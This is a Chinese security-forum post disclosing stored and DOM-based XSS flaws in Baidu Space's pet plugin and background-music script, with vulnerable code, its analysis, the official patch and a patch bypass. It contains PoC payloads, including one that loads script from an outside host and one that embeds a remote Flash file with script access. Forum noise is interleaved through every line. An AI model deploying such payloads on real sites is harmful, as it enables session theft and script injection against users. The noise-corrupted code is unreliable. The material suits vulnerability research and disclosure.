中国网络渗透测试联盟

标题: hi.baidu Xss 漏洞 [打印本页]

作者: admin    时间: 2013-8-24 11:51
标题: hi.baidu Xss 漏洞
百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.  
2 a9 @6 @4 f- y* F$ v, C
  S+ M% Y: Z8 [7 O  e; ]4 S1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.  
; `! O& l% r& `2.在http://hi.baidu.com/ui/scripts/pet/pet.js中  
6 B3 R# b' k( ]- H  U$ A( q, q  b. u' ^$ G. `, T
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>  
- e% i$ {6 i  n' R其中BdUtil.insertWBR为  * h" [$ X: i" h; C. p/ L2 i
function(text, step) {    s. N* T1 U1 e4 h9 D- S
    var textarea = textAreaCache || getContainer();  9 v" `" `6 O" |% P/ H8 n  f8 D
    if (!textarea) {  
* [8 D5 A7 \8 n) p8 |, }- S        return text;  : y1 m4 f$ h0 ^
    }  
/ ~9 G' ^% ^4 M& R8 i& C    textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");  
& w  ]+ m- O8 h8 S; ~9 e    var string = textarea.value;  1 Q& _8 `! I. P5 t  m! P
    var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");  
: v) w% W) V+ v    var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");  
3 S. l6 `* T. W( }/ r    return result;  , T; V2 {1 {. |, \0 v3 {- ]! w
}  
* L2 M( e% y# ~1 P' p在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.  
+ U8 _0 o9 g' j测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>  2 s. [1 E9 C% n5 n7 E+ p0 g
   
% ~7 O+ S1 K0 W+ F# @二:creatbgmusic() Dom-Xss Bug  
4 Z& K% o$ v( E0 k百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞  5 }: U  w" P9 Q8 [4 ^
3 S/ Z2 p# C' A# N+ |5 M
http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:  
; V7 A7 ^- S* p% ?, x( p" V: M3 B7 N3 V
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {  & q' D# _9 g8 @7 R* \3 a4 c* R
    //传入的murl赋值到bgmusic1和bgmusic2中  . M: |' X& Y' J4 R6 V% G
    //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1  
& k( |2 ]( _8 k3 L" N% k* l    var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\"  VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";  ; j! i: w- k* [9 B% u$ Z+ [) d
    if (musicnum <= 1) {  
6 v+ W2 a. C' {! w& B5 |5 t7 q        bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";  ; x8 k6 t2 T  ^% t% _2 d
    }  
- [3 W2 d) w7 f' S3 B    bgmusic1 += "</OBJECT>";  
- L7 s9 U0 m. J# `# Q) f    var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";  " o- W3 |: d, e) v' o0 l$ t; P
    if (musicnum <= 1) {  * Q, [) K- X/ m1 g  a  [
        bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";  
: x. N; ]0 ^& |  ?3 k& H" |    }  0 B$ Q" y) d7 e
    bgmusic2 += "> </EMBED>";  ; S: h, a1 L0 @# r* Q8 c9 M
    var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";  
1 R* r1 N. T8 E7 D" H8 M9 o    var bgmus = detectWMP();  / y" W; f' E( O: M7 }! x6 M% T; w5 M; q
    if (functype == "FckMusicHelper") {  / `; X  C  b0 |& U
        if (bgmus.installed) {  
' L- W+ \  S1 i- a3 U            if (bgmus.type == "IE") {  ) Z7 C' Z" E* H# a- e4 v; i- ?
                return bgmusic1;  ' J$ O  }  w( P. c
            } else if (bgmus.type == "NS") {  , L* i8 `8 U5 Q
                return bgmusic2;  ( O. Q, H; e1 I- A) \! g) \6 O& w' H
            }  - K' O4 m+ J) q% |2 W
        } else {  
/ g6 ?) K3 Q, X- Q7 v/ O            return bgmusic3;  1 x5 A) m; n: L- R6 j' Y
        }  
- P! H; \: [1 e+ p8 A( d; f0 f. l    } else {  
7 g" m/ z% D6 p* y9 @+ Q& D        if (bgmus.installed) {  
& z1 l/ I6 q8 a2 W            //document.write 直接输出bgmusic变量 导致xss  
5 ?5 ~+ \2 O* _% M5 s$ ]) o; y& Q            if (bgmus.type == "IE") {  ; u- k" s$ k9 }  E
                document.write(bgmusic1);  3 P% B" T" m' `* R  Z0 @
            } else if (bgmus.type == "NS") {  
6 g+ I2 U& N0 u& o                document.write(bgmusic2);  
2 b( u* O# `4 u# p" {            }  ' L, i. ~1 g* {. O4 K
        } else {  & n! h# H2 V2 {* E
            document.write(bgmusic3);  - P& `) C4 {& J# t9 D: a
        }  2 p' P. f# _" {& F) W7 s
        return "";  9 t& Z3 i9 h; C
    }  . O) J8 d; B* l! U9 O2 @
}  7 u: m- a& \. h

$ i$ k: s0 b3 Q: i  }在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:  ( }& m5 O% a* Y" w! V; s2 ?0 a% m

, G4 R' s; e! B* w8 N5 k1 Bfunction initBlogTextForFCK(){  - {3 W7 {& I) d4 V! z) k9 L
//fck init music  
+ F6 a+ F+ d# f- I6 M" Eif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}  7 N: R' w9 d+ X2 ]- c
var imgBox=document.getElementsByName(’musicName’);   //取得了文章中的所有name="musicName"的标签数组  
2 x" |# w, s% Q8 m4 `4 nvar isAutoPlay=true;  * z9 x# U5 h# M  T" h* F5 X
for(var i=0,n=imgBox.length;i<n;i++){  //然后遍历.  
8 y- U/ B$ w7 W4 }+ D* U4 r) x  var img=imgBox;  9 v- H7 n* _1 w. ~- [3 ]2 q+ _; g
  if(img.getAttribute(’rel’)){        - B( P& R3 O  C. d8 v2 M
   var musicSrc=img.getAttribute(’rel’);    //取得标签中rel的值,赋值给musicSrc  + l6 R0 G) C' _% J
   var musicDiv = document.createElement("SPAN");  ( m7 M  \! P+ u$ ]' J/ I' L
   var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1);  //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]  # a9 X1 S' W" |- G2 j0 X0 u
     
2 F  N9 C3 ]/ p      ..........................  
- R1 J# K& q0 c     
. F* _$ @& e  o6 ]" Q4 u  d4 m! u   //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.   
2 v1 }( u% s+ q! [8 d+ n& N! i   var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  
2 L* M; [) r  i1 {, w   shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’);   img.replaceNode(musicDiv);  + b( ~( B+ R' ?
   musicDiv.innerHTML=shtml;  
) A, ]  v( T4 X   i--;n--;  $ H% g/ ^' Z. a5 r
  }  6 W! e6 N3 I4 d
}  
/ c+ K- x# a: S/ P+ S$ x7 I; @- H; Z+ U# n: ^- }% g. g. Q1 l
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.  
3 y' E1 Y% W* K' T( ?! w! J   
, \4 ]( T. b1 m测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>  ) l2 V: ~, H7 q+ ~
5 a7 q; T0 o- r) U
等待官方补丁  
0 C; O( o- B1 ]# R, J; p1 m2 e- r5 f# A7 c: F) N4 {
update 2010年5月13日   
6 l4 \- b& Z* N( h
. \5 s7 h# I& Q1 U1 Q官方补丁:  
' _8 H( H2 C$ k4 V3 m/ u! T0 g2 t& S+ H- C
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  
& E& P3 B7 O4 i# n. {改为:  + s0 P7 l3 q. ~/ M6 ]
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);  
6 M0 a, \( S: G% K9 r: ?, \. s  R$ z) u0 v9 d! I* [
update 2010年5月13日 21:50:37  ; g" X! N) m  Q7 L3 |1 f  ^& W" G" i, y
' O, T4 I6 ^) ?
补丁存在漏洞 没有过滤" 可以继续跨:  
6 }* T% ^6 Y. E; I  t6 X2 n/ r* v$ T5 o
NEW POC:  
: D; v! L9 O3 ~, U
6 c  ]) e8 `' G% l7 R2 F7 @0 X<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" # T) I+ ]6 \! m0 h

& n2 R# ?; r1 w8 tallowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
) e+ t. Z! n$ X   l7 ?% p1 M( [% u" l7 d  E





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2